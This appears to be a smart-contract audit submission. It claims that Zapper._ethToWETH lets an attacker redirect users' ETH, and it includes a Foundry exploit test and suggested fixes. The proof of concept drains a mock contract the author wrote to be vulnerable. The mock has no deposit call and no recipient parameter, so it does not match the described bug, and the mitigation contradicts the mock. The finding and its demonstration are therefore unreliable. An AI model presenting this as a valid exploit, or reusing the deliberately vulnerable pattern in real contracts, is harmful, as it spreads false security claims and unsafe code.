Docile Rusty Bobcat
High
The use of deposit{value: _amountETH}
in Zapper._ethToWETH
can cause a complete loss of ETH for users, as an attacker can redirect ETH to an arbitrary address.
In Zapper.sol#150, the deposit{value: _amountETH}
call allows ETH to be sent to an arbitrary address without proper validation.
- Users must send ETH to the Zapper contract.
- The contract must hold ETH to be deposited into WETH.
- The attacker must have a way to call
_ethToWETH
with malicious parameters. - The WETH contract must be functional to accept the deposit.
- Attacker calls
_ethToWETH
with a malicious address as the recipient. - The contract deposits ETH into WETH and sends it to the attacker’s address.
- Attacker steals the ETH by withdrawing it from WETH.
The users suffers a complete loss of their ETH sent to the contract. The attacker gains the stolen ETH, which can amount to 100% of the user’s principal and yield.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.28;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Mock vulnerable contract
contract Zapper {
function _ethToWETH(uint256 _amountETH) public {
// Add return value check to silence warning
(bool success, ) = payable(msg.sender).call{value: _amountETH}("");
require(success, "ETH transfer failed"); // Ensures transfer succeeded
}
// Required to receive ETH
receive() external payable {}
}
contract ExploitTest is Test {
Zapper public target;
address public attacker;
function setUp() public {
// Deploy Zapper contract
target = new Zapper();
// Setup attacker address
attacker = makeAddr("attacker");
}
function testExploit() public {
// Send ETH to Zapper contract
uint256 amountETH = 10 ether;
deal(address(target), amountETH);
// Initial balances
uint256 initialBalance = address(attacker).balance;
assertEq(initialBalance, 0, "Attacker should start with 0 ETH");
// Attacker calls _ethToWETH to steal ETH
vm.startPrank(attacker);
target._ethToWETH(amountETH);
vm.stopPrank();
// Verify ETH was stolen
uint256 attackerBalance = address(attacker).balance;
assertEq(attackerBalance, amountETH, "Attacker should have stolen ETH");
assertEq(address(target).balance, 0, "Target should have 0 ETH remaining");
}
}
- Validate Recipient Address: Ensure the recipient address is validated or restricted.
- Use
msg.sender
: Send WETH tomsg.sender
instead of an arbitrary address. - Add Access Control: Restrict the function to authorized users or roles.